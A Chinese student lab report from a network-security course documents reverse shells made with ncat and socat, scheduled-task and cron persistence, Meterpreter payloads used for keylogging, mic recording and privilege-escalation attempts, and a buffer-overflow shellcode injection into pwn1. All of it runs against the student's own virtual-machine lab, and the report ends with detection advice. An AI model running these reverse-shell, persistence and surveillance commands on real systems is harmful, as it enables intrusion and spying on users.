20242319 2026-2027-1 《网络与系统攻防技术》实验二实验报告

20242319 2026-2027-1 《网络与系统攻防技术》实验二实验报告

1. 基础知识

1.1 后门与反弹 Shell

后门可以理解为攻击者或测试者在目标主机上保留的一种“再次进入系统”的通道。本次实验中的后门主要有两类表现形式:一类是通过 ncat、socat 等工具直接把目标主机的 Shell 连接回攻击机;另一类是通过 msfvenom 生成可执行文件或 shellcode,使目标主机运行后主动连接攻击机。

反弹 Shell 的特点是由目标主机主动连接攻击机,因此攻击机需要先监听端口。实验中 Kali 攻击机主要负责监听端口、生成 payload、运行 Metasploit handler;Windows 和 Kali 靶机负责运行对应程序或触发漏洞。

1.2 netcat/ncat 与 socat

ncat 可以建立 TCP/UDP 连接,也可以监听端口。在本实验中,Linux 靶机通过 ncat <攻击机IP> <端口> -e /bin/bash 将 /bin/bash 绑定到网络连接上,攻击机监听后即可获得 Linux 靶机 Shell。

socat 的功能更灵活,可以在两个数据通道之间建立转发。本实验中 Windows 靶机使用 socat.exe TCP:<攻击机IP>:<端口> EXEC:cmd.exe,pipes,将 cmd.exe 与 TCP 连接绑定,从而让 Kali 攻击机获得 Windows 命令行。

1.3 cron 与 Windows 任务计划

cron 是 Linux 下的周期性任务机制,常用于定时执行脚本或命令。本实验中我没有把 cron 设置成长期反弹连接,而是用它每分钟向带学号的日志文件写入一次时间,验证 Linux 定时任务启动机制。

Windows 下对应的启动机制可以使用“任务计划程序”。本实验使用 schtasks 创建一次性任务,任务内容是运行 socat.exe 并连接回攻击机。任务创建、查询、手动运行和删除过程都进行了截图记录。

1.4 Metasploit、msfvenom 与 Meterpreter

Metasploit 是常用的渗透测试框架,msfvenom 可以生成不同平台和格式的 payload。本实验中使用它生成了 Windows x64 的 Meterpreter 反向连接程序,也生成了 Linux x86 的反弹连接 shellcode。

Meterpreter 是 Metasploit 中功能较强的后渗透载荷。相比普通命令行,它可以执行系统信息获取、文件操作、摄像头检测、麦克风录音、击键记录、提权尝试等操作。通过这次实验,我也直观看到:一旦后门程序运行,系统隐私和权限安全都会受到很大威胁。

1.5 Shellcode、缓冲区溢出与 NOP 滑道

实验五延续了实验一中的 pwn1 程序。该程序是 32 位 Linux ELF 文件,foo() 中使用 gets() 接收输入,存在缓冲区溢出漏洞。实验一中已经确认从缓冲区起始位置到返回地址的偏移为 32 字节,因此本次继续采用:

32 字节填充 + 返回地址 + NOP 滑道 + shellcode

其中返回地址指向 NOP 滑道附近,程序执行到 ret 后跳转到栈上的 shellcode,最终让 Linux 靶机主动连接 Kali 攻击机。

1.6 关于免杀的理解

本实验中 Windows Defender 能够识别并隔离 Meterpreter 可执行文件,说明这类后门具有较明显的静态或行为特征。免杀技术本质上是在对抗安全软件的特征检测、行为检测和沙箱分析。由于本实验的目标是理解后门原理和检测现象,我只记录 Defender 的告警和隔离过程,没有进行免杀绕过。


2. 实验内容

本次实验主要完成以下任务:

  1. 使用 netcat/ncat 获取 Linux 靶机操作 Shell,并使用 cron 启动自定义任务;
  2. 使用 socat 获取 Windows 靶机操作 Shell,并使用任务计划启动;
  3. 使用 MSF 生成 Windows Meterpreter 可执行后门,传输到 Windows 靶机运行并获取 Shell;
  4. 使用 Meterpreter 验证麦克风、摄像头、击键记录等功能,并尝试提权;
  5. 使用 MSF 生成 Linux 反弹 shellcode,注入实验一中的 pwn1,获取反弹连接 Shell。

本实验环境如下:

角色 主机名 IP 用途
攻击机 Wxy-kali-attacker 192.168.236.130 监听连接、生成 payload、运行 Metasploit
Linux 靶机 Wxy-kali-target 192.168.236.131 netcat、cron、pwn1 shellcode 注入
Windows 靶机 WXY-WIN10 192.168.236.129 socat、任务计划、Meterpreter 功能验证

3. 实验过程

3.1 使用 netcat 获取 Linux 靶机 Shell

首先在 Kali 攻击机上监听 52025 端口:

ncat -lvnp 52025

图1 Kali 攻击机监听 52025 端口

随后在 Linux 靶机 Wxy-kali-target 上执行反向连接命令:

ncat 192.168.236.130 52025 -e /bin/bash

图2 Linux 靶机使用 ncat 反连攻击机

连接建立后,在攻击机监听窗口中执行 whoami、hostname、pwd 和 ip addr。结果显示当前 Shell 来自 Wxy-kali-target,说明 Kali 攻击机成功获取了 Linux 靶机 Shell。

图3 攻击机成功获得 Linux 靶机 Shell

3.2 使用 cron 启动自定义任务

为了验证 Linux 下 cron 的定时启动机制,我在 Linux 靶机上设置了一个每分钟执行一次的任务,将当前时间写入包含本人学号的日志文件:

echo '* * * * * date >> /home/kali/Exp2_20242319/20242319_cron_test.log' | crontab -
crontab -l
cat ~/Exp2_20242319/20242319_cron_test.log

从截图中可以看到,crontab -l 成功显示任务内容,并且日志文件中出现了连续的时间记录,说明 cron 定时任务正常执行。

图4 cron 定时任务写入日志文件

3.3 使用 socat 获取 Windows 靶机 Shell

这一部分使用 Windows 10 作为靶机。首先在 Kali 攻击机上监听 53025 端口:

ncat -lvnp 53025

图5 Kali 攻击机监听 53025 端口

Windows 靶机中已将 socat.exe 及其依赖文件放入 C:\Exp2_20242319 目录。随后执行:

socat.exe TCP:192.168.236.130:53025 EXEC:cmd.exe,pipes

在 Kali 攻击机监听窗口中执行 whoami、hostname 和 ipconfig,可以看到当前 Shell 来自 Windows 靶机 WXY-WIN10\testq。

图6 使用 socat 成功获得 Windows 靶机 Shell

3.4 使用 Windows 任务计划启动 socat

为了验证 Windows 下的任务计划启动机制,我使用 schtasks 创建了一个一次性任务,任务名和路径中均包含本人学号:

schtasks /Create /TN "Exp2_20242319_socat" /SC ONCE /ST 23:59 /TR "C:\Exp2_20242319\socat.exe TCP:192.168.236.130:53026 EXEC:cmd.exe,pipes" /F
schtasks /Query /TN "Exp2_20242319_socat" /V /FO LIST
schtasks /Run /TN "Exp2_20242319_socat"

截图中可以看到任务创建成功,并且查询结果显示任务执行的命令为 socat.exe 反连攻击机。

图7 创建并查询 Windows 任务计划

随后 Kali 攻击机监听 53026 端口,手动运行任务后,攻击机成功收到来自 Windows 靶机的连接。

图8 任务计划触发后 Kali 收到 Windows Shell

3.5 使用 MSF 生成 Windows Meterpreter 可执行后门

在 Kali 攻击机中使用 msfvenom 生成 Windows x64 Meterpreter 反向连接程序:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.236.130 LPORT=54025 -f exe -o 20242319_meterpreter.exe
ls -lh
file 20242319_meterpreter.exe

生成的文件名为 20242319_meterpreter.exe,文件名包含本人学号。

图9 使用 msfvenom 生成 Windows Meterpreter 可执行文件

接着在 Metasploit 中配置 handler:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.236.130
set LPORT 54025
show options
run

图10 Metasploit handler 监听 54025 端口

3.6 使用 ncat 传输后门文件并处理 Defender 拦截

使用 ncat 从 Kali 攻击机向 Windows 靶机传输后门文件。Windows 靶机执行接收命令后,目录中没有出现目标文件。

图11 初次接收后门文件后目录中未出现文件

随后检查 Windows 安全中心,发现 Defender 已将该文件识别为威胁并隔离,检测名称为 Trojan:Win32/Zusy.NCD!MTB。这说明 Meterpreter 载荷具有明显的恶意特征,能够被安全软件识别。本实验不进行免杀绕过,仅将其作为安全软件检测后门的现象记录。

图12 Windows Defender 隔离 Meterpreter 后门文件

在隔离环境中还原文件后,重新查看目录,确认 20242319_meterpreter.exe 已存在。

图13 还原后确认后门文件存在

3.7 运行 Meterpreter 后门并获取会话

确认 Metasploit handler 正在监听后,在 Windows 靶机中运行 20242319_meterpreter.exe。随后 Kali 中成功出现 Meterpreter 会话:

Meterpreter session 1 opened

进入会话后执行 getuid、sysinfo,再通过 shell 进入普通 Windows 命令行,执行 whoami 和 hostname,确认目标主机为 WXY-WIN10。

图14 Meterpreter 会话建立并进入 Windows Shell

3.8 Meterpreter 功能验证:摄像头、音频与击键记录

在 Meterpreter 中执行:

webcam_list
webcam_snap
record_mic -d 5
keyscan_start
keyscan_dump
keyscan_stop

实验中摄像头获取失败,提示目标主机没有摄像头。这是因为 Windows 靶机运行在虚拟机环境中,宿主机摄像头没有成功映射到虚拟机中。音频录制成功生成 .wav 文件,击键记录功能也能够抓取到输入内容。

图15 Meterpreter 摄像头、录音与击键记录功能验证

3.9 Meterpreter 提权尝试

继续在 Meterpreter 中执行:

getuid
getsystem
getuid

结果显示,getsystem 依次尝试了 Named Pipe Impersonation、Token Duplication、PrintSpoofer、EfsPotato 等方式,但均未成功,最终用户仍为 WXY-WIN10\testq。这说明后门上线并不等于一定可以获得系统权限,提权是否成功还依赖系统版本、补丁情况、当前权限、UAC 设置和可利用漏洞条件。

图16 getsystem 提权尝试失败

3.10 使用 MSF 生成 shellcode 并注入 pwn1

任务五延续实验一中的 pwn1 程序。实验一中已经确认该程序是 32 位 Linux ELF,缓冲区到返回地址的偏移为 32 字节,因此本次构造 payload 时继续采用:

32 字节填充 + 返回地址 + NOP 滑道 + shellcode

由于真实运行环境中的栈地址可能变化,我先构造探测 payload:

payload = b"A" * 32
payload += struct.pack("<I", 0x01020304)
payload += b"\x90" * 200

再通过 gdb attach 到真实运行中的 pwn1 进程,在 foo() 的 ret 指令处下断点。程序停在 ret 前时,$esp 处为 0x01020304,说明返回地址已经被覆盖;$esp+4 后面是一片 0x90909090,说明 NOP 滑道从这里开始。

图17 gdb attach 到真实进程并确认 NOP 滑道地址

随后在攻击机上使用 msfvenom 生成 Linux x86 反弹连接 shellcode:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.236.130 LPORT=56025 -b '\x00\x0a\x0d' -f python -v shellcode

在 Linux 靶机中编写 20242319_reverse_exp.py,设置偏移为 32,返回地址指向 NOP 滑道附近。运行脚本后生成 20242319_reverse_payload,并通过 xxd 查看,确认返回地址已经按小端序写入 payload。

图18 构造最终反弹 shellcode payload

攻击机监听 56025 端口:

ncat -lvnp 56025

靶机运行:

(cat 20242319_reverse_payload; echo; cat) | ./pwn1

这里加入 echo 是为了给 gets() 补充换行,使程序结束输入并继续执行到 ret。最终攻击机成功收到来自 Linux 靶机的反弹 Shell,执行 whoami、hostname 和 pwd 后确认当前主机为 Wxy-kali-target。

图19 shellcode 注入 pwn1 后获得 Linux 反弹 Shell


4. 问题及解决方案

问题 1:Meterpreter 文件传到 Windows 后消失

使用 ncat 将 20242319_meterpreter.exe 传到 Windows 靶机后,执行 dir 发现文件不存在。开始以为是传输失败,后来打开 Windows 安全中心,发现 Defender 已将文件隔离。

解决方案: 保留 Defender 隔离截图作为实验现象记录。在隔离虚拟机中将文件还原后继续完成 Meterpreter 会话验证,但不进行免杀绕过。这个问题让我意识到,安全软件对常见后门载荷确实有比较明显的检测能力。

问题 2:getsystem 提权失败

Meterpreter 会话建立后,执行 getsystem 并没有获得 SYSTEM 权限。输出中可以看到它尝试了多种提权方式,但最后仍停留在普通用户 WXY-WIN10\testq。

解决方案: 保留失败截图并进行分析。提权失败可能与 Windows 版本较新、补丁较完整、当前用户权限不足、UAC 限制或对应漏洞不可用有关。实验目标是“尝试提权”并理解现象,不是强行制造成功结果。

问题 3:pwn1 注入 shellcode 初次失败

实验一中曾使用过 0xffffcf10 作为返回地址,但本次直接使用该地址没有成功。后来重新 attach 到真实运行的 pwn1 进程,在 ret 处查看 $esp 和 NOP 滑道位置,重新确定当前运行环境下的返回地址。

此外,运行最终 payload 时一开始使用:

(cat 20242319_reverse_payload; cat) | ./pwn1

程序没有及时触发返回。分析后发现 payload 文件末尾没有换行,而 gets() 需要读到换行才会结束输入。

解决方案: 重新通过 gdb attach 获取当前真实栈地址,并把执行命令改为:

(cat 20242319_reverse_payload; echo; cat) | ./pwn1

加入 echo 后,程序能够继续执行到 ret,最终成功获得反弹 Shell。


5. 学习感悟、思考等

这次实验做下来,我最大的感觉是:后门实验看上去像是在“拿 Shell”,但真正难的地方其实都藏在细节里。比如一开始 netcat 和 socat 连接成功时,确实会有一种“终于通了”的感觉,可到了后面的 Meterpreter 和 pwn1 注入,问题就一个接一个冒出来了。Windows 里缺工具、Defender 把文件删掉、虚拟机摄像头识别不到、getsystem 提权失败,每一步都不是照着命令敲就一定能过。

我印象最深的是 Windows Defender 隔离 Meterpreter 文件那一步。刚开始看到文件传过去后不见了,我第一反应是自己传输命令写错了,后来才发现是安全软件直接隔离了。这个现象反而让我对“后门检测”有了更实际的认识:安全软件不是摆设,很多常见 payload 的特征已经非常明显。之前说到免杀时,总觉得那是一个很抽象的词,这次看到 Defender 的告警记录后,我才更清楚地意识到攻防其实一直在围绕特征、行为和权限做对抗。

pwn1 的最后一步也让我卡了挺久。明明实验一里已经测过地址,这次再用却失败了;后来重新 attach 到真实运行进程,才发现当前栈地址已经和之前不一样。最坑的是 payload 后面少了换行,gets() 一直没结束输入,程序根本没有执行到 ret。这个问题解决以后我才发现,很多时候不是思路错了,而是一个很小的输入细节就会让实验完全没有反应。

这次实验也让我对“后门危害”有了更直观的感受。普通用户看到的可能只是一个没有窗口的程序,但在另一端却可能已经有人拿到了系统信息、录音文件甚至键盘输入。虽然这些操作都是在自己的虚拟机里完成的,但它提醒我以后使用电脑时不能随便运行来源不明的程序,也不能忽视启动项、计划任务和异常网络连接这些细节。

总的来说,这次实验比实验一更贴近真实攻防场景。实验一更多是在理解程序内部怎么被劫持,实验二则把网络连接、系统启动机制、后门载荷和安全软件检测串在了一起。做完以后我不是单纯记住了几个命令,而是更能理解为什么系统安全要同时关注代码、进程、网络、权限和用户行为。


6. 实验问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

一种很常见的方式是伪装成正常软件、破解工具、游戏插件或邮件附件进入系统。用户下载并运行后,程序表面上可能没有异常,背后却悄悄建立反弹连接、写入启动项或下载第二阶段载荷。这说明后门进入系统并不一定依赖复杂漏洞,很多时候是利用用户的信任和主动执行。

(2)例举你知道的后门如何启动起来,Windows 和 Linux 分别有哪些方式?

Windows 中常见的启动方式有:任务计划程序、注册表 Run/RunOnce 启动项、系统服务、启动文件夹、WMI 事件订阅、DLL 劫持等。本实验中使用的是任务计划程序。

Linux 中常见的启动方式有:cron 定时任务、systemd service、/etc/rc.local、用户的 .bashrc 或 .profile、SSH authorized_keys、伪装成系统脚本或服务等。本实验中使用的是 cron 定时任务。

(3)Meterpreter 有哪些给你印象深刻的功能?

印象最深的是它不像普通 Shell 那样只能执行命令,而是集成了很多后渗透功能。getuid 和 sysinfo 可以快速确认目标身份和系统环境;record_mic 可以录音;keyscan_start 和 keyscan_dump 可以记录键盘输入;webcam_list 和 webcam_snap 可以尝试调用摄像头;getsystem 可以尝试提权。虽然本次摄像头和提权没有成功,但这些功能本身已经让我感受到后门程序对隐私和系统权限的威胁。

(4)如何发现自己的系统有没有被安装后门?

可以从进程、网络连接、启动项、文件和日志几个方面排查。比如用 netstat、ss、Wireshark 查看异常连接;用任务管理器、Process Explorer、ps aux 查看异常进程;检查 Windows 任务计划、注册表、服务,或 Linux 的 cron、systemd;查看用户目录、临时目录和系统目录中是否有可疑可执行文件;同时结合 Windows 安全中心、杀毒软件、EDR 告警和系统日志进行判断。最重要的是建立正常状态的基线,否则很多异常很难第一时间看出来。


参考资料

posted @ 2026-10-13 14:08  小万万元  阅读(11)  评论(0)    收藏  举报